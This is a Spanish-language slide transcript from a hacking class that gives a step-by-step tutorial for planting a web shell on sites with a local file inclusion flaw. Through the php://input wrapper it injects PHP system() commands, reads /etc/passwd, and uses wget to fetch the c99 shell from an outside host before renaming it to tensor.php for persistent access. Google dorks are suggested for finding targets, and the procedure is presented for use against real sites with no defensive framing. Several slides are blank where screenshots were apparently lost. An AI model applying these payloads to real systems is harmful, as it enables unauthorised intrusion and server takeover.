Subiendo shell explotando lfi via php input

23
Clase 8 10-10-2013

Transcript of Subiendo shell explotando lfi via php input

Page 1: Subiendo shell explotando lfi via php   input

Clase 8

10-10-2013

Page 2: Subiendo shell explotando lfi via php   input

Tutorial, el cual consiste en subir una SHELL explotando la vulnerabilidad

LFI vía "php:input" , solo basta con inyectar algunos códigos para obtener

la misma.

Que es el LFI?

Es una falla en la programación de una aplicación; falla mediante la cual se

pueden incluir archivos que se encuentren en el servidor como por ejemplo

el /etc/passwd o algún otro archivo de configuración que nos provea de

información para atacar el sitio.

Page 3: Subiendo shell explotando lfi via php   input

Ahora bien, empecemos...

Algunos de los sitios webs vulnerables a LFI, tienen este aspecto:

www.sitio-web.com/index.php?page=

www.sitio-web.com/index.php?file=

Page 4: Subiendo shell explotando lfi via php   input

Recordemos que podemos apoyarnos de los google dorks que se encuentran en la siguiente página:

Page 5: Subiendo shell explotando lfi via php   input
Page 6: Subiendo shell explotando lfi via php   input

Ahora bien... para comprobar si realmente el sitio web es vulnerable a LFI, tenemos que ver si la web puede leer el "etc/passwd" cosa que el sitio web quedaría de la siguiente forma:

www.sitio-web.com/index.php?page=/etc/passwd

Page 7: Subiendo shell explotando lfi via php   input

Si el sitio web puede leer dicho código, la web quedaría así:

Page 8: Subiendo shell explotando lfi via php   input
Page 9: Subiendo shell explotando lfi via php   input
Page 10: Subiendo shell explotando lfi via php   input

Necesitaremos lo siguiente:

Navegador: Firefox

Addon: HackBar

Page 11: Subiendo shell explotando lfi via php   input

Primero

Cargamos la url vulnerable al HackBar e inyectamos el php://input la cual quedaría así:

www.sitio-web.com/index.php?page=php://input

Habilitamos el "Enable Post data" y colocamos el siguiente comando:

<? system('uname -a'); ?>

Page 12: Subiendo shell explotando lfi via php   input
Page 13: Subiendo shell explotando lfi via php   input

Otros comandos: Lista de directorios <? system ('ls'); ?>

Identificación <? system ('id'); ?>

Convertir el formato <? system ('mv file.txt file.php'); ?>

Descargar <? system ('wget'); ?>

Page 14: Subiendo shell explotando lfi via php   input

Ahora, vamos a utilizar el comando <? system ('wget'); ?> para descargar alguna shell en el sitio.

Utilizaremos esta shell en .txt: http://www.sh3ll.org/c99.txt

<? system ('wget http://www.sh3ll.org/c99.txt'); ?>

Page 15: Subiendo shell explotando lfi via php   input
Page 16: Subiendo shell explotando lfi via php   input

Ahora, comprobaremos si la shell se descargo perfectamente, ejecutando el siguiente comando:

<? system ('ls'); ?>

Si la shell, se descargo perfectamente, en este caso lo veremos como c99.txt, como se muestra a continuación

Page 17: Subiendo shell explotando lfi via php   input
Page 18: Subiendo shell explotando lfi via php   input

Ahora, como ya sabemos que nuestra shell se ejecuto perfectamente, tenemos que cambiarle el formato a .php para poder ingresar a la misma desde el navegador, solo basta con colocar el siguiente comando:

<? system ('mv c99.txt tensor.php'); ?>

Page 19: Subiendo shell explotando lfi via php   input
Page 20: Subiendo shell explotando lfi via php   input
Page 21: Subiendo shell explotando lfi via php   input

Ahora, en este caso nos dirigimos a www.sitio-web.com/tensor.php

Listo tenemos nuestra shell!!

Page 22: Subiendo shell explotando lfi via php   input
Page 23: Subiendo shell explotando lfi via php   input